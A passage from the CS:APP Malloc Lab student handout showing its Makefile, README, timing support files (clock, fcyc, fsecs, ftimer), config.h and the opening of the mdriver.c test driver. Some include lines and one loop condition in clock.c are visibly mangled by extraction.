5 | FILES = mm.c
6 |
7 | CC = gcc
8 | CFLAGS = -Wall -g
9 |
10 | OBJS = mm.o memlib.o fsecs.o fcyc.o clock.o ftimer.o
11 |
12 | mdriver: mdriver.o $(OBJS)
13 | $(CC) $(CFLAGS) -o mdriver mdriver.o $(OBJS)
14 |
15 | mdriver.o: mdriver.c fsecs.h fcyc.h clock.h memlib.h config.h mm.h
16 |
17 | mdriver-realloc: mdriver-realloc.o $(OBJS)
18 | $(CC) $(CFLAGS) -o mdriver-realloc mdriver-realloc.o $(OBJS)
19 |
20 | mdriver-realloc.o: mdriver-realloc.c fsecs.h fcyc.h clock.h memlib.h config.h mm.h
21 |
22 | memlib.o: memlib.c memlib.h
23 | mm.o: mm.c mm.h memlib.h
24 | fsecs.o: fsecs.c fsecs.h config.h
25 | fcyc.o: fcyc.c fcyc.h
26 | ftimer.o: ftimer.c ftimer.h config.h
27 | clock.o: clock.c clock.h
28 |
29 | clean:
30 | rm -f *~ *.o mdriver mdriver-realloc
31 |
32 |
33 |
--------------------------------------------------------------------------------
/lab5/README:
--------------------------------------------------------------------------------
1 | #####################################################################
2 | # CS:APP Malloc Lab
3 | # Handout files for students
4 | #
5 | # Copyright (c) 2002, R. Bryant and D. O'Hallaron, All rights reserved.
6 | # May not be used, modified, or copied without permission.
7 | #
8 | ######################################################################
9 |
10 | ***********
11 | Main Files:
12 | ***********
13 |
14 | mm.{c,h}
15 | Your solution malloc package. mm.c is the file that you
16 | will be handing in, and is the only file you should modify.
17 |
18 | mdriver.c
19 | The malloc driver that tests your mm.c file
20 |
21 | short{1,2}-bal.rep
22 | Two tiny tracefiles to help you get started.
23 |
24 | Makefile
25 | Builds the driver
26 |
27 | **********************************
28 | Other support files for the driver
29 | **********************************
30 |
31 | config.h Configures the malloc lab driver
32 | fsecs.{c,h} Wrapper function for the different timer packages
33 | clock.{c,h} Routines for accessing the Pentium and Alpha cycle counters
34 | fcyc.{c,h} Timer functions based on cycle counters
35 | ftimer.{c,h} Timer functions based on interval timers and gettimeofday()
36 | memlib.{c,h} Models the heap and sbrk function
37 |
38 | *******************************
39 | Building and running the driver
40 | *******************************
41 | To build the driver, type "make" to the shell.
42 |
43 | To run the driver on a tiny test trace:
44 |
45 | unix> mdriver -V -f short1-bal.rep
46 |
47 | The -V option prints out helpful tracing and summary information.
48 |
49 | To get a list of the driver flags:
50 |
51 | unix> mdriver -h
52 |
53 |
--------------------------------------------------------------------------------
/lab5/clock.c:
--------------------------------------------------------------------------------
1 | /*
2 | * clock.c - Routines for using the cycle counters on x86,
3 | * Alpha, and Sparc boxes.
4 | *
5 | * Copyright (c) 2002, R. Bryant and D. O'Hallaron, All rights reserved.
6 | * May not be used, modified, or copied without permission.
7 | */
8 |
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include "clock.h"
14 |
15 |
16 | /*******************************************************
17 | * Machine dependent functions
18 | *
19 | * Note: the constants __i386__ and __alpha
20 | * are set by GCC when it calls the C preprocessor
21 | * You can verify this for yourself using gcc -v.
22 | *******************************************************/
23 |
24 | #if defined(__i386__)
25 | /*******************************************************
26 | * Pentium versions of start_counter() and get_counter()
27 | *******************************************************/
28 |
29 |
30 | /* $begin x86cyclecounter */
31 | /* Initialize the cycle counter */
32 | static unsigned cyc_hi = 0;
33 | static unsigned cyc_lo = 0;
34 |
35 |
36 | /* Set *hi and *lo to the high and low order bits of the cycle counter.
37 | Implementation requires assembly code to use the rdtsc instruction. */
38 | void access_counter(unsigned *hi, unsigned *lo)
39 | {
40 | asm("rdtsc; movl %%edx,%0; movl %%eax,%1" /* Read cycle counter */
41 | : "=r" (*hi), "=r" (*lo) /* and move results to */
42 | : /* No input */ /* the two outputs */
43 | : "%edx", "%eax");
44 | }
45 |
46 | /* Record the current value of the cycle counter. */
47 | void start_counter()
48 | {
49 | access_counter(&cyc_hi, &cyc_lo);
50 | }
51 |
52 | /* Return the number of cycles since the last call to start_counter. */
53 | double get_counter()
54 | {
55 | unsigned ncyc_hi, ncyc_lo;
56 | unsigned hi, lo, borrow;
57 | double result;
58 |
59 | /* Get cycle counter */
60 | access_counter(&ncyc_hi, &ncyc_lo);
61 |
62 | /* Do double precision subtraction */
63 | lo = ncyc_lo - cyc_lo;
64 | borrow = lo > ncyc_lo;
65 | hi = ncyc_hi - cyc_hi - borrow;
66 | result = (double) hi * (1 << 30) * 4 + lo;
67 | if (result < 0) {
68 | fprintf(stderr, "Error: counter returns neg value: %.0f\n", result);
69 | }
70 | return result;
71 | }
72 | /* $end x86cyclecounter */
73 |
74 | #elif defined(__alpha)
75 |
76 | /****************************************************
77 | * Alpha versions of start_counter() and get_counter()
78 | ***************************************************/
79 |
80 | /* Initialize the cycle counter */
81 | static unsigned cyc_hi = 0;
82 | static unsigned cyc_lo = 0;
83 |
84 |
85 | /* Use Alpha cycle timer to compute cycles. Then use
86 | measured clock speed to compute seconds
87 | */
88 |
89 | /*
90 | * counterRoutine is an array of Alpha instructions to access
91 | * the Alpha's processor cycle counter. It uses the rpcc
92 | * instruction to access the counter. This 64 bit register is
93 | * divided into two parts. The lower 32 bits are the cycles
94 | * used by the current process. The upper 32 bits are wall
95 | * clock cycles. These instructions read the counter, and
96 | * convert the lower 32 bits into an unsigned int - this is the
97 | * user space counter value.
98 | * NOTE: The counter has a very limited time span. With a
99 | * 450MhZ clock the counter can time things for about 9
100 | * seconds. */
101 | static unsigned int counterRoutine[] =
102 | {
103 | 0x601fc000u,
104 | 0x401f0000u,
105 | 0x6bfa8001u
106 | };
107 |
108 | /* Cast the above instructions into a function. */
109 | static unsigned int (*counter)(void)= (void *)counterRoutine;
110 |
111 |
112 | void start_counter()
113 | {
114 | /* Get cycle counter */
115 | cyc_hi = 0;
116 | cyc_lo = counter();
117 | }
118 |
119 | double get_counter()
120 | {
121 | unsigned ncyc_hi, ncyc_lo;
122 | unsigned hi, lo, borrow;
123 | double result;
124 | ncyc_lo = counter();
125 | ncyc_hi = 0;
126 | lo = ncyc_lo - cyc_lo;
127 | borrow = lo > ncyc_lo;
128 | hi = ncyc_hi - cyc_hi - borrow;
129 | result = (double) hi * (1 << 30) * 4 + lo;
130 | if (result < 0) {
131 | fprintf(stderr, "Error: Cycle counter returning negative value: %.0f\n", result);
132 | }
133 | return result;
134 | }
135 |
136 | #else
137 |
138 | /****************************************************************
139 | * All the other platforms for which we haven't implemented cycle
140 | * counter routines. Newer models of sparcs (v8plus) have cycle
141 | * counters that can be accessed from user programs, but since there
142 | * are still many sparc boxes out there that don't support this, we
143 | * haven't provided a Sparc version here.
144 | ***************************************************************/
145 |
146 | void start_counter()
147 | {
148 | printf("ERROR: You are trying to use a start_counter routine in clock.c\n");
149 | printf("that has not been implemented yet on this platform.\n");
150 | printf("Please choose another timing package in config.h.\n");
151 | exit(1);
152 | }
153 |
154 | double get_counter()
155 | {
156 | printf("ERROR: You are trying to use a get_counter routine in clock.c\n");
157 | printf("that has not been implemented yet on this platform.\n");
158 | printf("Please choose another timing package in config.h.\n");
159 | exit(1);
160 | }
161 | #endif
162 |
163 |
164 |
165 |
166 | /*******************************
167 | * Machine-independent functions
168 | ******************************/
169 | double ovhd()
170 | {
171 | /* Do it twice to eliminate cache effects */
172 | int i;
173 | double result;
174 |
175 | for (i = 0; i < 2; i++) {
176 | start_counter();
177 | result = get_counter();
178 | }
179 | return result;
180 | }
181 |
182 | /* $begin mhz */
183 | /* Estimate the clock rate by measuring the cycles that elapse */
184 | /* while sleeping for sleeptime seconds */
185 | double mhz_full(int verbose, int sleeptime)
186 | {
187 | double rate;
188 |
189 | start_counter();
190 | sleep(sleeptime);
191 | rate = get_counter() / (1e6*sleeptime);
192 | if (verbose)
193 | printf("Processor clock rate ~= %.1f MHz\n", rate);
194 | return rate;
195 | }
196 | /* $end mhz */
197 |
198 | /* Version using a default sleeptime */
199 | double mhz(int verbose)
200 | {
201 | return mhz_full(verbose, 2);
202 | }
203 |
204 | /** Special counters that compensate for timer interrupt overhead */
205 |
206 | static double cyc_per_tick = 0.0;
207 |
208 | #define NEVENT 100
209 | #define THRESHOLD 1000
210 | #define RECORDTHRESH 3000
211 |
212 | /* Attempt to see how much time is used by timer interrupt */
213 | static void callibrate(int verbose)
214 | {
215 | double oldt;
216 | struct tms t;
217 | clock_t oldc;
218 | int e = 0;
219 |
220 | times(&t);
221 | oldc = t.tms_utime;
222 | start_counter();
223 | oldt = get_counter();
224 | while (e = THRESHOLD) {
228 | clock_t newc;
229 | times(&t);
230 | newc = t.tms_utime;
231 | if (newc > oldc) {
232 | double cpt = (newt-oldt)/(newc-oldc);
233 | if ((cyc_per_tick == 0.0 || cyc_per_tick > cpt) && cpt > RECORDTHRESH)
234 | cyc_per_tick = cpt;
235 | /*
236 | if (verbose)
237 | printf("Saw event lasting %.0f cycles and %d ticks. Ratio = %f\n",
238 | newt-oldt, (int) (newc-oldc), cpt);
239 | */
240 | e++;
241 | oldc = newc;
242 | }
243 | oldt = newt;
244 | }
245 | }
246 | if (verbose)
247 | printf("Setting cyc_per_tick to %f\n", cyc_per_tick);
248 | }
249 |
250 | static clock_t start_tick = 0;
251 |
252 | void start_comp_counter()
253 | {
254 | struct tms t;
255 |
256 | if (cyc_per_tick == 0.0)
257 | callibrate(0);
258 | times(&t);
259 | start_tick = t.tms_utime;
260 | start_counter();
261 | }
262 |
263 | double get_comp_counter()
264 | {
265 | double time = get_counter();
266 | double ctime;
267 | struct tms t;
268 | clock_t ticks;
269 |
270 | times(&t);
271 | ticks = t.tms_utime - start_tick;
272 | ctime = time - ticks*cyc_per_tick;
273 | /*
274 | printf("Measured %.0f cycles. Ticks = %d. Corrected %.0f cycles\n",
275 | time, (int) ticks, ctime);
276 | */
277 | return ctime;
278 | }
279 |
280 |
--------------------------------------------------------------------------------
/lab5/clock.h:
--------------------------------------------------------------------------------
1 | /* Routines for using cycle counter */
2 |
3 | /* Start the counter */
4 | void start_counter();
5 |
6 | /* Get # cycles since counter started */
7 | double get_counter();
8 |
9 | /* Measure overhead for counter */
10 | double ovhd();
11 |
12 | /* Determine clock rate of processor (using a default sleeptime) */
13 | double mhz(int verbose);
14 |
15 | /* Determine clock rate of processor, having more control over accuracy */
16 | double mhz_full(int verbose, int sleeptime);
17 |
18 | /** Special counters that compensate for timer interrupt overhead */
19 |
20 | void start_comp_counter();
21 |
22 | double get_comp_counter();
23 |
--------------------------------------------------------------------------------
/lab5/config.h:
--------------------------------------------------------------------------------
1 | #ifndef __CONFIG_H_
2 | #define __CONFIG_H_
3 |
4 | /*
5 | * config.h - malloc lab configuration file
6 | *
7 | * Copyright (c) 2002, R. Bryant and D. O'Hallaron, All rights reserved.
8 | * May not be used, modified, or copied without permission.
9 | */
10 |
11 | /*
12 | * This is the default path where the driver will look for the
13 | * default tracefiles. You can override it at runtime with the -t flag.
14 | */
15 | #define TRACEDIR "traces/"
16 |
17 | /*
18 | * This is the list of default tracefiles in TRACEDIR that the driver
19 | * will use for testing. Modify this if you want to add or delete
20 | * traces from the driver's test suite. For example, if you don't want
21 | * your students to implement realloc, you can delete the last two
22 | * traces.
23 | */
24 | #define DEFAULT_TRACEFILES \
25 | "amptjp-bal.rep",\
26 | "cccp-bal.rep",\
27 | "cp-decl-bal.rep",\
28 | "expr-bal.rep",\
29 | "coalescing-bal.rep",\
30 | "random-bal.rep",\
31 | "random2-bal.rep",\
32 | "binary-bal.rep",\
33 | "binary2-bal.rep"
34 |
35 | /*
36 | * This constant gives the estimated performance of the libc malloc
37 | * package using our traces on some reference system, typically the
38 | * same kind of system the students use. Its purpose is to cap the
39 | * contribution of throughput to the performance index. Once the
40 | * students surpass the AVG_LIBC_THRUPUT, they get no further benefit
41 | * to their score. This deters students from building extremely fast,
42 | * but extremely stupid malloc packages.
43 | */
44 | #define AVG_LIBC_THRUPUT 1800E3
45 |
46 | /*
47 | * This constant determines the contributions of space utilization
48 | * (UTIL_WEIGHT) and throughput (1 - UTIL_WEIGHT) to the performance
49 | * index.
50 | */
51 | #define UTIL_WEIGHT .60
52 |
53 | /*
54 | * Alignment requirement in bytes (either 4 or 8)
55 | */
56 | #define ALIGNMENT 8
57 |
58 | /*
59 | * Maximum heap size in bytes
60 | */
61 | #define MAX_HEAP (20*(1<<20)) /* 20 MB */
62 |
63 | /*****************************************************************************
64 | * Set exactly one of these USE_xxx constants to "1" to select a timing method
65 | *****************************************************************************/
66 | #define USE_FCYC 0 /* cycle counter w/K-best scheme (x86 & Alpha only) */
67 | #define USE_ITIMER 1 /* interval timer (any Unix box) */
68 | #define USE_GETTOD 0 /* gettimeofday (any Unix box) */
69 |
70 | #endif /* __CONFIG_H */
71 |
--------------------------------------------------------------------------------
/lab5/fcyc.c:
--------------------------------------------------------------------------------
1 | /*
2 | * fcyc.c - Estimate the time (in CPU cycles) used by a function f
3 | *
4 | * Copyright (c) 2002, R. Bryant and D. O'Hallaron, All rights reserved.
5 | * May not be used, modified, or copied without permission.
6 | *
7 | * Uses the cycle timer routines in clock.c to estimate the
8 | * the time in CPU cycles for a function f.
9 | */
10 | #include
11 | #include
12 | #include
13 |
14 | #include "fcyc.h"
15 | #include "clock.h"
16 |
17 | /* Default values */
18 | #define K 3 /* Value of K in K-best scheme */
19 | #define MAXSAMPLES 20 /* Give up after MAXSAMPLES */
20 | #define EPSILON 0.01 /* K samples should be EPSILON of each other*/
21 | #define COMPENSATE 0 /* 1-> try to compensate for clock ticks */
22 | #define CLEAR_CACHE 0 /* Clear cache before running test function */
23 | #define CACHE_BYTES (1<<19) /* Max cache size in bytes */
24 | #define CACHE_BLOCK 32 /* Cache block size in bytes */
25 |
26 | static int kbest = K;
27 | static int maxsamples = MAXSAMPLES;
28 | static double epsilon = EPSILON;
29 | static int compensate = COMPENSATE;
30 | static int clear_cache = CLEAR_CACHE;
31 | static int cache_bytes = CACHE_BYTES;
32 | static int cache_block = CACHE_BLOCK;
33 |
34 | static int *cache_buf = NULL;
35 |
36 | static double *values = NULL;
37 | static int samplecount = 0;
38 |
39 | /* for debugging only */
40 | #define KEEP_VALS 0
41 | #define KEEP_SAMPLES 0
42 |
43 | #if KEEP_SAMPLES
44 | static double *samples = NULL;
45 | #endif
46 |
47 | /*
48 | * init_sampler - Start new sampling process
49 | */
50 | static void init_sampler()
51 | {
52 | if (values)
53 | free(values);
54 | values = calloc(kbest, sizeof(double));
55 | #if KEEP_SAMPLES
56 | if (samples)
57 | free(samples);
58 | /* Allocate extra for wraparound analysis */
59 | samples = calloc(maxsamples+kbest, sizeof(double));
60 | #endif
61 | samplecount = 0;
62 | }
63 |
64 | /*
65 | * add_sample - Add new sample
66 | */
67 | static void add_sample(double val)
68 | {
69 | int pos = 0;
70 | if (samplecount < kbest) {
71 | pos = samplecount;
72 | values[pos] = val;
73 | } else if (val < values[kbest-1]) {
74 | pos = kbest-1;
75 | values[pos] = val;
76 | }
77 | #if KEEP_SAMPLES
78 | samples[samplecount] = val;
79 | #endif
80 | samplecount++;
81 | /* Insertion sort */
82 | while (pos > 0 && values[pos-1] > values[pos]) {
83 | double temp = values[pos-1];
84 | values[pos-1] = values[pos];
85 | values[pos] = temp;
86 | pos--;
87 | }
88 | }
89 |
90 | /*
91 | * has_converged- Have kbest minimum measurements converged within epsilon?
92 | */
93 | static int has_converged()
94 | {
95 | return
96 | (samplecount >= kbest) &&
97 | ((1 + epsilon)*values[0] >= values[kbest-1]);
98 | }
99 |
100 | /*
101 | * clear - Code to clear cache
102 | */
103 | static volatile int sink = 0;
104 |
105 | static void clear()
106 | {
107 | int x = sink;
108 | int *cptr, *cend;
109 | int incr = cache_block/sizeof(int);
110 | if (!cache_buf) {
111 | cache_buf = malloc(cache_bytes);
112 | if (!cache_buf) {
113 | fprintf(stderr, "Fatal error. Malloc returned null when trying to clear cache\n");
114 | exit(1);
115 | }
116 | }
117 | cptr = (int *) cache_buf;
118 | cend = cptr + cache_bytes/sizeof(int);
119 | while (cptr < cend) {
120 | x += *cptr;
121 | cptr += incr;
122 | }
123 | sink = x;
124 | }
125 |
126 | /*
127 | * fcyc - Use K-best scheme to estimate the running time of function f
128 | */
129 | double fcyc(test_funct f, void *argp)
130 | {
131 | double result;
132 | init_sampler();
133 | if (compensate) {
134 | do {
135 | double cyc;
136 | if (clear_cache)
137 | clear();
138 | start_comp_counter();
139 | f(argp);
140 | cyc = get_comp_counter();
141 | add_sample(cyc);
142 | } while (!has_converged() && samplecount < maxsamples);
143 | } else {
144 | do {
145 | double cyc;
146 | if (clear_cache)
147 | clear();
148 | start_counter();
149 | f(argp);
150 | cyc = get_counter();
151 | add_sample(cyc);
152 | } while (!has_converged() && samplecount < maxsamples);
153 | }
154 | #ifdef DEBUG
155 | {
156 | int i;
157 | printf(" %d smallest values: [", kbest);
158 | for (i = 0; i < kbest; i++)
159 | printf("%.0f%s", values[i], i==kbest-1 ? "]\n" : ", ");
160 | }
161 | #endif
162 | result = values[0];
163 | #if !KEEP_VALS
164 | free(values);
165 | values = NULL;
166 | #endif
167 | return result;
168 | }
169 |
170 |
171 | /*************************************************************
172 | * Set the various parameters used by the measurement routines
173 | ************************************************************/
174 |
175 | /*
176 | * set_fcyc_clear_cache - When set, will run code to clear cache
177 | * before each measurement.
178 | * Default = 0
179 | */
180 | void set_fcyc_clear_cache(int clear)
181 | {
182 | clear_cache = clear;
183 | }
184 |
185 | /*
186 | * set_fcyc_cache_size - Set size of cache to use when clearing cache
187 | * Default = 1<<19 (512KB)
188 | */
189 | void set_fcyc_cache_size(int bytes)
190 | {
191 | if (bytes != cache_bytes) {
192 | cache_bytes = bytes;
193 | if (cache_buf) {
194 | free(cache_buf);
195 | cache_buf = NULL;
196 | }
197 | }
198 | }
199 |
200 | /*
201 | * set_fcyc_cache_block - Set size of cache block
202 | * Default = 32
203 | */
204 | void set_fcyc_cache_block(int bytes) {
205 | cache_block = bytes;
206 | }
207 |
208 |
209 | /*
210 | * set_fcyc_compensate- When set, will attempt to compensate for
211 | * timer interrupt overhead
212 | * Default = 0
213 | */
214 | void set_fcyc_compensate(int compensate_arg)
215 | {
216 | compensate = compensate_arg;
217 | }
218 |
219 | /*
220 | * set_fcyc_k - Value of K in K-best measurement scheme
221 | * Default = 3
222 | */
223 | void set_fcyc_k(int k)
224 | {
225 | kbest = k;
226 | }
227 |
228 | /*
229 | * set_fcyc_maxsamples - Maximum number of samples attempting to find
230 | * K-best within some tolerance.
231 | * When exceeded, just return best sample found.
232 | * Default = 20
233 | */
234 | void set_fcyc_maxsamples(int maxsamples_arg)
235 | {
236 | maxsamples = maxsamples_arg;
237 | }
238 |
239 | /*
240 | * set_fcyc_epsilon - Tolerance required for K-best
241 | * Default = 0.01
242 | */
243 | void set_fcyc_epsilon(double epsilon_arg)
244 | {
245 | epsilon = epsilon_arg;
246 | }
247 |
248 |
249 |
250 |
251 |
252 |
--------------------------------------------------------------------------------
/lab5/fcyc.h:
--------------------------------------------------------------------------------
1 | /*
2 | * fcyc.h - prototypes for the routines in fcyc.c that estimate the
3 | * time in CPU cycles used by a test function f
4 | *
5 | * Copyright (c) 2002, R. Bryant and D. O'Hallaron, All rights reserved.
6 | * May not be used, modified, or copied without permission.
7 | *
8 | */
9 |
10 | /* The test function takes a generic pointer as input */
11 | typedef void (*test_funct)(void *);
12 |
13 | /* Compute number of cycles used by test function f */
14 | double fcyc(test_funct f, void* argp);
15 |
16 | /*********************************************************
17 | * Set the various parameters used by measurement routines
18 | *********************************************************/
19 |
20 | /*
21 | * set_fcyc_clear_cache - When set, will run code to clear cache
22 | * before each measurement.
23 | * Default = 0
24 | */
25 | void set_fcyc_clear_cache(int clear);
26 |
27 | /*
28 | * set_fcyc_cache_size - Set size of cache to use when clearing cache
29 | * Default = 1<<19 (512KB)
30 | */
31 | void set_fcyc_cache_size(int bytes);
32 |
33 | /*
34 | * set_fcyc_cache_block - Set size of cache block
35 | * Default = 32
36 | */
37 | void set_fcyc_cache_block(int bytes);
38 |
39 | /*
40 | * set_fcyc_compensate- When set, will attempt to compensate for
41 | * timer interrupt overhead
42 | * Default = 0
43 | */
44 | void set_fcyc_compensate(int compensate_arg);
45 |
46 | /*
47 | * set_fcyc_k - Value of K in K-best measurement scheme
48 | * Default = 3
49 | */
50 | void set_fcyc_k(int k);
51 |
52 | /*
53 | * set_fcyc_maxsamples - Maximum number of samples attempting to find
54 | * K-best within some tolerance.
55 | * When exceeded, just return best sample found.
56 | * Default = 20
57 | */
58 | void set_fcyc_maxsamples(int maxsamples_arg);
59 |
60 | /*
61 | * set_fcyc_epsilon - Tolerance required for K-best
62 | * Default = 0.01
63 | */
64 | void set_fcyc_epsilon(double epsilon_arg);
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/lab5/fsecs.c:
--------------------------------------------------------------------------------
1 | /****************************
2 | * High-level timing wrappers
3 | ****************************/
4 | #include
5 | #include "fsecs.h"
6 | #include "fcyc.h"
7 | #include "clock.h"
8 | #include "ftimer.h"
9 | #include "config.h"
10 |
11 | static double Mhz; /* estimated CPU clock frequency */
12 |
13 | extern int verbose; /* -v option in mdriver.c */
14 |
15 | /*
16 | * init_fsecs - initialize the timing package
17 | */
18 | void init_fsecs(void)
19 | {
20 | Mhz = 0; /* keep gcc -Wall happy */
21 |
22 | #if USE_FCYC
23 | if (verbose)
24 | printf("Measuring performance with a cycle counter.\n");
25 |
26 | /* set key parameters for the fcyc package */
27 | set_fcyc_maxsamples(20);
28 | set_fcyc_clear_cache(1);
29 | set_fcyc_compensate(1);
30 | set_fcyc_epsilon(0.01);
31 | set_fcyc_k(3);
32 | Mhz = mhz(verbose > 0);
33 | #elif USE_ITIMER
34 | if (verbose)
35 | printf("Measuring performance with the interval timer.\n");
36 | #elif USE_GETTOD
37 | if (verbose)
38 | printf("Measuring performance with gettimeofday().\n");
39 | #endif
40 | }
41 |
42 | /*
43 | * fsecs - Return the running time of a function f (in seconds)
44 | */
45 | double fsecs(fsecs_test_funct f, void *argp)
46 | {
47 | #if USE_FCYC
48 | double cycles = fcyc(f, argp);
49 | return cycles/(Mhz*1e6);
50 | #elif USE_ITIMER
51 | return ftimer_itimer(f, argp, 10);
52 | #elif USE_GETTOD
53 | return ftimer_gettod(f, argp, 10);
54 | #endif
55 | }
56 |
57 |
58 |
--------------------------------------------------------------------------------
/lab5/fsecs.h:
--------------------------------------------------------------------------------
1 | typedef void (*fsecs_test_funct)(void *);
2 |
3 | void init_fsecs(void);
4 | double fsecs(fsecs_test_funct f, void *argp);
5 |
--------------------------------------------------------------------------------
/lab5/ftimer.c:
--------------------------------------------------------------------------------
1 | /*
2 | * ftimer.c - Estimate the time (in seconds) used by a function f
3 | *
4 | * Copyright (c) 2002, R. Bryant and D. O'Hallaron, All rights reserved.
5 | * May not be used, modified, or copied without permission.
6 | *
7 | * Function timers that estimate the running time (in seconds) of a function f.
8 | * ftimer_itimer: version that uses the interval timer
9 | * ftimer_gettod: version that uses gettimeofday
10 | */
11 | #include
12 | #include
13 | #include "ftimer.h"
14 |
15 | /* function prototypes */
16 | static void init_etime(void);
17 | static double get_etime(void);
18 |
19 | /*
20 | * ftimer_itimer - Use the interval timer to estimate the running time
21 | * of f(argp). Return the average of n runs.
22 | */
23 | double ftimer_itimer(ftimer_test_funct f, void *argp, int n)
24 | {
25 | double start, tmeas;
26 | int i;
27 |
28 | init_etime();
29 | start = get_etime();
30 | for (i = 0; i < n; i++)
31 | f(argp);
32 | tmeas = get_etime() - start;
33 | return tmeas / n;
34 | }
35 |
36 | /*
37 | * ftimer_gettod - Use gettimeofday to estimate the running time of
38 | * f(argp). Return the average of n runs.
39 | */
40 | double ftimer_gettod(ftimer_test_funct f, void *argp, int n)
41 | {
42 | int i;
43 | struct timeval stv, etv;
44 | double diff;
45 |
46 | gettimeofday(&stv, NULL);
47 | for (i = 0; i < n; i++)
48 | f(argp);
49 | gettimeofday(&etv,NULL);
50 | diff = 1E3*(etv.tv_sec - stv.tv_sec) + 1E-3*(etv.tv_usec-stv.tv_usec);
51 | diff /= n;
52 | return (1E-3*diff);
53 | }
54 |
55 |
56 | /*
57 | * Routines for manipulating the Unix interval timer
58 | */
59 |
60 | /* The initial value of the interval timer */
61 | #define MAX_ETIME 86400
62 |
63 | /* static variables that hold the initial value of the interval timer */
64 | static struct itimerval first_u; /* user time */
65 | static struct itimerval first_r; /* real time */
66 | static struct itimerval first_p; /* prof time*/
67 |
68 | /* init the timer */
69 | static void init_etime(void)
70 | {
71 | first_u.it_interval.tv_sec = 0;
72 | first_u.it_interval.tv_usec = 0;
73 | first_u.it_value.tv_sec = MAX_ETIME;
74 | first_u.it_value.tv_usec = 0;
75 | setitimer(ITIMER_VIRTUAL, &first_u, NULL);
76 |
77 | first_r.it_interval.tv_sec = 0;
78 | first_r.it_interval.tv_usec = 0;
79 | first_r.it_value.tv_sec = MAX_ETIME;
80 | first_r.it_value.tv_usec = 0;
81 | setitimer(ITIMER_REAL, &first_r, NULL);
82 |
83 | first_p.it_interval.tv_sec = 0;
84 | first_p.it_interval.tv_usec = 0;
85 | first_p.it_value.tv_sec = MAX_ETIME;
86 | first_p.it_value.tv_usec = 0;
87 | setitimer(ITIMER_PROF, &first_p, NULL);
88 | }
89 |
90 | /* return elapsed real seconds since call to init_etime */
91 | static double get_etime(void) {
92 | struct itimerval v_curr;
93 | struct itimerval r_curr;
94 | struct itimerval p_curr;
95 |
96 | getitimer(ITIMER_VIRTUAL, &v_curr);
97 | getitimer(ITIMER_REAL,&r_curr);
98 | getitimer(ITIMER_PROF,&p_curr);
99 |
100 | return (double) ((first_p.it_value.tv_sec - r_curr.it_value.tv_sec) +
101 | (first_p.it_value.tv_usec - r_curr.it_value.tv_usec)*1e-6);
102 | }
103 |
104 |
105 |
106 |
107 |
--------------------------------------------------------------------------------
/lab5/ftimer.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Function timers
3 | */
4 | typedef void (*ftimer_test_funct)(void *);
5 |
6 | /* Estimate the running time of f(argp) using the Unix interval timer.
7 | Return the average of n runs */
8 | double ftimer_itimer(ftimer_test_funct f, void *argp, int n);
9 |
10 |
11 | /* Estimate the running time of f(argp) using gettimeofday
12 | Return the average of n runs */
13 | double ftimer_gettod(ftimer_test_funct f, void *argp, int n);
14 |
15 |
--------------------------------------------------------------------------------
/lab5/mdriver.c:
--------------------------------------------------------------------------------
1 | /*
2 | * mdriver.c - CS:APP Malloc Lab Driver
3 | *
4 | * Uses a collection of trace files to tests a malloc/free
5 | * implementation in mm.c.
6 | *
7 | * Copyright (c) 2002, R. Bryant and D. O'Hallaron, All rights reserved.
8 | * May not be used, modified, or copied without permission.
9 | */
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 |
19 | #include "mm.h"
20 | #include "memlib.h"
21 | #include "fsecs.h"
22 | #include "config.h"
23 |
24 | /**********************
25 | * Constants and macros
26 | **********************/
27 |
28 | /* Misc */
29 | #define MAXLINE 1024 /* max string size */
30 | #define HDRLINES 4 /* number of header lines in a trace file */
31 | #define LINENUM(i) (i+5) /* cnvt trace request nums to linenums (origin 1) */
32 |
33 | /* Returns true if p is ALIGNMENT-byte aligned */
34 | #define IS_ALIGNED(p) ((((size_t)(p)) % ALIGNMENT) == 0)
35 |
36 | /******************************
37 | * The key compound data types
38 | *****************************/
39 |
40 | /* Records the extent of each block's payload */
41 | typedef struct range_t {
42 | char *lo; /* low payload address */
43 | char *hi; /* high payload address */
44 | struct range_t *next; /* next list element */
45 | } range_t;
46 |
47 | /* Characterizes a single trace operation (allocator request) */
48 | typedef struct {
49 | enum {ALLOC, FREE} type; /* type of request */
50 | int index; /* index for free() to use later */
51 | int size; /* byte size of alloc request */
52 | } traceop_t;
53 |
54 | /* Holds the information for one trace file*/
55 | typedef struct {
56 | int sugg_heapsize; /* suggested heap size (unused) */
57 | int num_ids; /* number of alloc ids */
58 | int num_ops; /* number of distinct requests */
59 | int weight; /* weight for this trace (unused) */
60 | traceop_t *ops; /* array of requests */
61 | char **blocks; /* array of ptrs returned by malloc... */
62 | size_t *block_sizes; /* ... and a corresponding array of payload sizes */
63 | } trace_t;
64 |
65 | /*
66 | * Holds the params to the xxx_speed functions, which are timed by fcyc.
67 | * This struct is necessary because fcyc accepts only a pointer array
68 | * as input.
69 | */
70 | typedef struct {
71 | trace_t *trace;
72 | range_t *ranges;
73 | } speed_t;
74 |
75 | /* Summarizes the important stats for some malloc function on some trace */
76 | typedef struct {
77 | /* defined for both libc malloc and student malloc package (mm.c) */
78 | double ops; /* number of ops (malloc/free) in the trace */
79 | int valid; /* was the trace processed correctly by the allocator? */
80 | double secs; /* number of secs needed to run the trace */
81 |
82 | /* defined only for the student malloc package */
83 | double util; /* space utilization for this trace (always 0 for libc) */
84 |
85 | /* Note: secs and util are only defined if valid is true */
86 | } stats_t;
87 |
88 | /********************
89 | * Global variables
90 | *******************/
91 | int verbose = 0; /* global flag for verbose output */
92 | static int errors = 0; /* number of errs found when running student malloc */
93 | char msg[MAXLINE]; /* for whenever we need to compose an error message */
94 |
95 | /* Directory where default tracefiles are found */
96 | static char tracedir[MAXLINE] = TRACEDIR;
97 |
98 | /* The filenames of the default tracefiles */
99 | static char *default_tracefiles[] = {
100 | DEFAULT_TRACEFILES, NULL
101 | };
102 |
103 |
104 | /*********************
105 | * Function prototypes
106 | *********************/
107 |
108 | /* these functions manipulate range lists */
109 | static int add_range(range_t **ranges, char *lo, int size,
110 | int tracenum, int opnum);
111 | static void remove_range(range_t **ranges, char *lo);
112 | static void clear_ranges(range_t **ranges);
113 |
114 | /* These functions read, allocate, and free storage for traces */
115 | static trace_t *read_trace(char *tracedir, char *filename);
116 | static void free_trace(trace_t *trace);
117 |
118 | /* Routines for evaluating the correctness and speed of libc malloc */
